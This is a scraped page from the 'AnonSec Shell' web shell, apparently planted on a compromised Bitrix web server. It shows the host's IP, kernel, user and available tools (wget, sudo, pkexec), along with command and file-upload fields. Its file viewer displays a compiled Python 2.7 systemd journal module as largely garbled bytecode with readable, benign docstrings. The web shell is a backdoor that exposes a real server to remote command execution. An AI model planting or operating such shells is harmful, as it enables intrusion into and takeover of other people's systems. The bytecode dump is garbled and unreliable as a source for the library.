AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.149.245.245
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/983/cwd/lib64/python2.7/site-packages/systemd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/983/cwd/lib64/python2.7/site-packages/systemd/journal.pyc
�
��qec@ s
ddlmZddlZddlZddlZddlZ	ddl
ZddlZ
ejd<krzddlmZnddlmZmZmZmZmZmZmZmZddlmZmZmZddlm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)dd	l*m+Z,ejd=krHdd
lm-Z-ne.Z-d�Z/d�Z0d
�Z1d�Z2d�Z3ejd>kr�d�Z4n	ej5Z4i!e4d6e4d6e4d6e6d6e6d6e6d6e6d6e6d6e6d6e6d6e6d6e6d6e6d6e6d6e6d6e6d 6e6d!6e6d"6e6d#6e6d$6e6d%6e2d&6e1d'6e0d(6e/d)6e3d*6e7d+6e6d,6e6d-6e6d.6e6d/6e6d06e2d16Z8e9d2�Z:d3�Z;d4e fd5��YZ<d6�Z=d7�Z>ddddd8�Z@eeAd9�ZBd:e
jCfd;��YZDdS(?i����(tdivisionNi(tChainMap(t	LOG_EMERGt	LOG_ALERTtLOG_CRITtLOG_ERRtLOG_WARNINGt
LOG_NOTICEtLOG_INFOt	LOG_DEBUGi(t__version__tsendvt	stream_fd(
t_ReadertNOPtAPPENDt
INVALIDATEt
LOCAL_ONLYtRUNTIME_ONLYtSYSTEMtSYSTEM_ONLYtCURRENT_USERt_get_catalog(tid128(t	MonotoniccC s0ttjd|d�tjd|d�f�S(Ntmicrosecondsitbytesi(Rt	_datetimet	timedeltat_uuidtUUID(tm((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyt_convert_monotonic.scC stjdt|��S(NR(RRtint(ts((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyt_convert_source_monotonic2scC stjj|d�S(Ni@B(Rtdatetimet
fromtimestamp(tt((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyt_convert_realtime5scC stjjt|�d�S(Ni@B(RR$R%R!(R"((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyt_convert_timestamp8scC s|S(N((tx((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyt_convert_trivial;scC stj|j��S(N(RRtdecode(R"((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyt
_convert_uuid?st
MESSAGE_IDt_MACHINE_IDt_BOOT_IDtPRIORITYtLEADERt
SESSION_IDtUSERSPACE_USECtINITRD_USECtKERNEL_USECt_UIDt_GIDt_PIDtSYSLOG_FACILITYt
SYSLOG_PIDt_AUDIT_SESSIONt_AUDIT_LOGINUIDt_SYSTEMD_SESSIONt_SYSTEMD_OWNER_UIDt	CODE_LINEtERRNOtEXIT_STATUSt_SOURCE_REALTIME_TIMESTAMPt__REALTIME_TIMESTAMPt_SOURCE_MONOTONIC_TIMESTAMPt__MONOTONIC_TIMESTAMPt__CURSORtCOREDUMPtCOREDUMP_PIDtCOREDUMP_UIDtCOREDUMP_GIDtCOREDUMP_SESSIONtCOREDUMP_SIGNALtCOREDUMP_TIMESTAMPtABCDEFGHIJKLMNOPQRTSUVWXYZ_cC st|�tS(N(tsett
_IDENT_LETTER(R"((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyt_valid_field_namejstReadercB s�eZdZddddd�Zd�Zd�Zd�Zd�Ze	j
dkr]eZnd�Zd	d
�Z
d	d�Zd�Zdd
�Zd�Zdd�Zd�Zd�Zdd�Zdd�ZRS(sUReader allows the access and filtering of systemd journal
    entries. Note that in order to access the system journal, a
    non-root user must be in the `systemd-journal` group.

    Example usage to print out all informational or higher level
    messages for systemd-udevd for this boot:

    >>> j = journal.Reader()
    >>> j.this_boot()
    >>> j.log_level(journal.LOG_INFO)
    >>> j.add_match(_SYSTEMD_UNIT="systemd-udevd.service")
    >>> for entry in j:
    ...    print(entry['MESSAGE'])

    See systemd.journal-fields(7) for more info on typical fields
    found in the journal.
    icC s�tt|�j|||�tjdkrot�|_|dk	rY|jjj	|�n|jjj	t
�n.t
j�|_|dk	r�|jj|�ndS(s�Create an instance of Reader, which allows filtering and
        return of journal entries.

        Argument `flags` sets open flags of the journal, which can be one
        of, or ORed combination of constants: LOCAL_ONLY (default) opens
        journal on local machine only; RUNTIME_ONLY opens only
        volatile journal files; and SYSTEM_ONLY opens only
        journal files of system services and the kernel.

        Argument `path` is the directory of journal files. Note that
        `flags` and `path` are exclusive.

        Argument `converters` is a dictionary which updates the
        DEFAULT_CONVERTERS to convert journal field values. Field
        names are used as keys into this dictionary. The values must
        be single argument functions, which take a `bytes` object and
        return a converted value. When there's no entry for a field
        name, then the default UTF-8 decoding will be attempted. If
        the conversion fails with a ValueError, unconverted bytes
        object will be returned. (Note that ValueEror is a superclass
        of UnicodeDecodeError).

        Reader implements the context manager protocol: the journal
        will be closed when exiting the block.
        iN(ii(
tsuperRRt__init__t_systversion_infot	_ChainMapt
converterstNonetmapstappendtDEFAULT_CONVERTERStcopytupdate(tselftflagstpathtfilesRX((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyRTscC s?|jj|tj�}y||�SWntk
r:|SXdS(s.Convert value using self.converters[key]

        If `key` is not present in self.converters, a standard unicode
        decoding will be attempted.  If the conversion (either
        key-specific or the default one) fails with a ValueError, the
        original bytes object will be returned.
        N(RXtgetRR+t
ValueError(R_tkeytvaluetconvert((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyt_convert_field�s

cC sxi}xk|j�D]]\}}t|t�rZg|D]}|j||�^q5||<q|j||�||<qW|S(s4Convert entire journal entry utilising _covert_field(titemst
isinstancetlistRh(R_tentrytresultReRftval((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyt_convert_entry�s,cC s|S(s9Part of iterator protocol.
        Returns self.
        ((R_((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyt__iter__�scC s#|j�}|r|St��dS(s\Part of iterator protocol.
        Returns self.get_next() or raises StopIteration.
        N(tget_nextt
StopIteration(R_tans((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyt__next__�sicO sTt|�}|jd�|j�D��x$|D]}tt|�j|�q0WdS(sOAdd one or more matches to the filter journal log entries.
        All matches of different field are combined in a logical AND,
        and matches of the same field are automatically combined in a
        logical OR.
        Matches can be passed as strings of form "FIELD=value", or
        keyword arguments FIELD="value".
        cs s$|]\}}t||�VqdS(N(t
_make_line(t.0ReRn((s5/usr/lib64/python2.7/site-packages/systemd/journal.pys	<genexpr>�sN(RktextendRiRSRRt	add_match(R_targstkwargstarg((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyRx�s
icC sztt|�j|�rstt|�j�}|rs|j�|d<|j�|d<|j�|d<|j|�Snt�S(sReturn the next log entry as a mapping type, currently
        a standard dictionary of fields.

        Optional skip value will return the `skip`\-th log entry.

        Entries will be processed with converters specified during
        Reader creation.
        RCRERF(	RSRRt_nextt_get_allt
_get_realtimet_get_monotonict_get_cursorRotdict(R_tskipRl((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyRq�s	cC s|j|�S(s5Return the previous log entry as a mapping type,
        currently a standard dictionary of fields.

        Optional skip value will return the -`skip`\-th log entry.

        Entries will be processed with converters specified during
        Reader creation.

        Equivalent to get_next(-skip).
        (Rq(R_R�((s5/usr/lib64/python2.7/site-packages/systemd/journal.pytget_previous�sc s/t��fd�tt��j��D��S(s�Return unique values appearing in the journal for given `field`.

        Note this does not respect any journal matches.

        Entries will be processed with converters specified during
        Reader creation.
        c3 s!|]}�j�|�VqdS(N(Rh(RvRf(tfieldR_(s5/usr/lib64/python2.7/site-packages/systemd/journal.pys	<genexpr>s(RORSRRtquery_unique(R_R�((R�R_s5/usr/lib64/python2.7/site-packages/systemd/journal.pyR��scC s8|dkrdn
t|d�}tt|�j|�S(s1Wait for a change in the journal. `timeout` is the maximum
        time in seconds to wait, or None, to wait forever.

        Returns one of NOP (no change), APPEND (new entries have been
        added to the end of the journal), or INVALIDATE (journal files
        have been added or removed).
        i����i@BN(RYR!RSRRtwait(R_ttimeouttus((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyR�s"cC sJt|tj�r.t|jd��d}ntt|�jt|��S(s�Seek to a matching journal entry nearest to `realtime` time.

        Argument `realtime` must be either an integer unix timestamp
        or datetime.datetime instance.
        s%s.%fi@B(	RjRR$tfloattstrftimeRSRRt
seek_realtimeR!(R_trealtime((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyR�scC sht|tj�r!|j�}nt|d�}t|tj�rO|j}ntt	|�j
||�S(sGSeek to a matching journal entry nearest to `monotonic` time.

        Argument `monotonic` is a timestamp from boot in either
        seconds or a datetime.timedelta instance. Argument `bootid`
        is a string or UUID representing which boot the monotonic time
        is reference to. Defaults to current bootid.
        i@B(RjRRttotalsecondsR!RRthexRSRRtseek_monotonic(R_t	monotonictbootid((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyR�scC s^d|kodknrNx;t|d�D]}|jdd|�q-Wntd��dS(sASet maximum log `level` by setting matches for PRIORITY.
        iiiR0s%ds!Log level must be 0 <= level <= 7N(trangeRxRd(R_tlevelti((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyt	log_level+scC s2t|tj�r|j}n|jd|�dS(sAdd match for log entries with specified `messageid`.

        `messageid` can be string of hexadicimal digits or a UUID
        instance. Standard message IDs can be found in systemd.id128.

        Equivalent to add_match(MESSAGE_ID=`messageid`).
        R-N(RjRRR�Rx(R_t	messageid((s5/usr/lib64/python2.7/site-packages/systemd/journal.pytmessageid_match4scC sD|dkrtj�j}nt|d|�}|jd|�dS(s�Add match for _BOOT_ID equal to current boot ID or the specified boot ID.

        If specified, bootid should be either a UUID or a 32 digit hex number.

        Equivalent to add_match(_BOOT_ID='bootid').
        R�R/N(RYt_id128tget_bootR�tgetattrRx(R_R�((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyt	this_boot@scC sD|dkrtj�j}nt|d|�}|jd|�dS(s�Add match for _MACHINE_ID equal to the ID of this machine.

        If specified, machineid should be either a UUID or a 32 digit hex number.

        Equivalent to add_match(_MACHINE_ID='machineid').
        R�R.N(RYR�tget_machineR�R�Rx(R_t	machineid((s5/usr/lib64/python2.7/site-packages/systemd/journal.pytthis_machineMsN(i(t__name__t
__module__t__doc__RYRTRhRoRpRtRURVtnextRxRqR�R�R�R�R�R�R�R�R�(((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyRRms&%		
		
		

		
			
cC s(t|tj�r|j}nt|�S(N(RjRRR�R(tmid((s5/usr/lib64/python2.7/site-packages/systemd/journal.pytget_catalog[scC sUt|t�r$|jd�d|St|t�rE|dt|�S|d|SdS(Nsutf-8t=(RjRtencodeR!tstr(R�Rf((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyRu`s
cK sd|g}|dk	r?t|d|�}|jd|�n||koa|koadknr�tjdd�dd \}}}n|dk	r�|jd|�n|dk	r�|jd	j|��n|dk	r�|jd
|�n|jd�|j�D��t|�S(
sySend a message to the journal.

        >>> journal.send('Hello world')
        >>> journal.send('Hello, again, world', FIELD2='Greetings!')
        >>> journal.send('Binary message', BINARY=b'\xde\xad\xbe\xef')

        Value of the MESSAGE argument will be used for the MESSAGE=
        field. MESSAGE must be a string and will be sent as UTF-8 to
        the journal.

        MESSAGE_ID can be given to uniquely identify the type of
        message. It must be a string or a uuid.UUID object.

        CODE_LINE, CODE_FILE, and CODE_FUNC can be specified to
        identify the caller. Unless at least on of the three is given,
        values are extracted from the stack frame of the caller of
        send(). CODE_FILE and CODE_FUNC must be strings, CODE_LINE
        must be an integer.

        Additional fields for the journal entry can only be specified
        as keyword arguments. The payload can be either a string or
        bytes. A string will be sent as UTF-8, and bytes will be sent
        as-is to the journal.

        Other useful fields include PRIORITY, SYSLOG_FACILITY,
        SYSLOG_IDENTIFIER, SYSLOG_PID.
        sMESSAGE=R�sMESSAGE_ID=tlimitiiis
CODE_FILE=sCODE_LINE={:d}s
CODE_FUNC=cs s$|]\}}t||�VqdS(N(Ru(RvReRn((s5/usr/lib64/python2.7/site-packages/systemd/journal.pys	<genexpr>�sN(	RYR�R[t
_tracebackt
extract_stacktformatRwRiR(tMESSAGER-t	CODE_FILER?t	CODE_FUNCRzRytid((s5/usr/lib64/python2.7/site-packages/systemd/journal.pytsendhs
'&cC s%t|||�}tj|dd�S(sNReturn a file object wrapping a stream to journal.

        Log messages written to this file as simple newline sepearted
        text strings are written to the journal.

        The file will be line buffered, so messages are actually sent
        after a newline character is written.

        >>> stream = journal.stream('myapp')
        >>> stream
        <open file '<fdopen>', mode 'w' at 0x...>
        >>> stream.write('message...\n')

        will produce the following message in the journal::

          PRIORITY=7
          SYSLOG_IDENTIFIER=myapp
          MESSAGE=message...

        Using the interface with print might be more convinient:

        >>> from __future__ import print_function
        >>> print('message...', file=stream)

        priority is the syslog priority, one of `LOG_EMERG`,
        `LOG_ALERT`, `LOG_CRIT`, `LOG_ERR`, `LOG_WARNING`,
        `LOG_NOTICE`, `LOG_INFO`, `LOG_DEBUG`.

        level_prefix is a boolean. If true, kernel-style log priority
        level prefixes (such as '<1>') are interpreted. See
        sd-daemon(3) for more information.
        twi(Rt_ostfdopen(t
identifiertprioritytlevel_prefixtfd((s5/usr/lib64/python2.7/site-packages/systemd/journal.pytstream�s"tJournalHandlercB s5eZdZejd�Zd�Zed��ZRS(s�Journal handler class for the Python logging framework.

        Please see the Python logging module documentation for an
        overview: http://docs.python.org/library/logging.html.

        To create a custom logger whose messages go only to journal:

        >>> log = logging.getLogger('custom_logger_name')
        >>> log.propagate = False
        >>> log.addHandler(journal.JournalHandler())
        >>> log.warn("Some message: %s", detail)

        Note that by default, message levels `INFO` and `DEBUG` are
        ignored by the logging framework. To enable those log levels:

        >>> log.setLevel(logging.DEBUG)

        To redirect all logging messages to journal regardless of where
        they come from, attach it to the root logger:

        >>> logging.root.addHandler(journal.JournalHandler())

        For more complex configurations when using `dictConfig` or
        `fileConfig`, specify `systemd.journal.JournalHandler` as the
        handler class.  Only standard handler configuration options
        are supported: `level`, `formatter`, `filters`.

        To attach journal MESSAGE_ID, an extra field is supported:

        >>> import uuid
        >>> mid = uuid.UUID('0123456789ABCDEF0123456789ABCDEF')
        >>> log.warn("Message with ID", extra={'MESSAGE_ID': mid})

        Fields to be attached to all messages sent through this
        handler can be specified as keyword arguments. This probably
        makes sense only for SYSLOG_IDENTIFIER and similar fields
        which are constant for the whole program:

        >>> journal.JournalHandler(SYSLOG_IDENTIFIER='my-cool-app')

        The following journal fields will be sent:
        `MESSAGE`, `PRIORITY`, `THREAD_NAME`, `CODE_FILE`, `CODE_LINE`,
        `CODE_FUNC`, `LOGGER` (name as supplied to getLogger call),
        `MESSAGE_ID` (optional, see above), `SYSLOG_IDENTIFIER` (defaults
        to sys.argv[0]).
        cK sstt|�j|�x-|D]%}t|�std|��qqWd|krftjd|d<n||_dS(NsInvalid field name: tSYSLOG_IDENTIFIERi(RSR�RTRQRdRUtargvt_extra(R_R�Rztname((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyRT�s
cC s�y�|j|�}|j|j�}t|dd�}t|d|dt|�d|jd|jd|jd|j	d|j
|j�Wntk
r�|j
|�nXdS(	sLWrite record as journal event.

                MESSAGE is taken from the message provided by the
                user, and PRIORITY, LOGGER, THREAD_NAME,
                CODE_{FILE,LINE,FUNC} fields are appended
                automatically. In addition, record.MESSAGE_ID will be
                used if present.
                R-R0tLOGGERtTHREAD_NAMER�R?R�N(R�tmapPrioritytlevelnoR�RYR�R�t
threadNametpathnametlinenotfuncNameR�t	ExceptionthandleError(R_trecordtmsgtpriR�((s5/usr/lib64/python2.7/site-packages/systemd/journal.pytemit�s						
cC sg|tjkrtS|tjkr&tS|tjkr9tS|tjkrLtS|tj	kr_t
StSdS(s�Map logging levels to journald priorities.

                Since Python log level numbers are "sparse", we have
                to map numbers in between the standard levels too.
                N(t_loggingtDEBUGR	tINFORtWARNINGRtERRORRtCRITICALRR(R�((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyR�s(	R�R�R�R�tNOTSETRTR�tstaticmethodR�(((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyR��s.
	(ii(i(i(Et
__future__RtsysRUR$RtuuidRt	tracebackR�tosR�tloggingR�RVtcollectionsRRWtsyslogRRRRRRRR	t_journalR
RRt_readerR
RRRRRRRRRtRR�RttupleR R#R'R(R*R,RR!RR\RORPRQRRR�RuRYR�tFalseR�tHandlerR�(((s5/usr/lib64/python2.7/site-packages/systemd/journal.pyt<module>s�:F						
	�		1%

Anon7 - 2022
AnonSec Team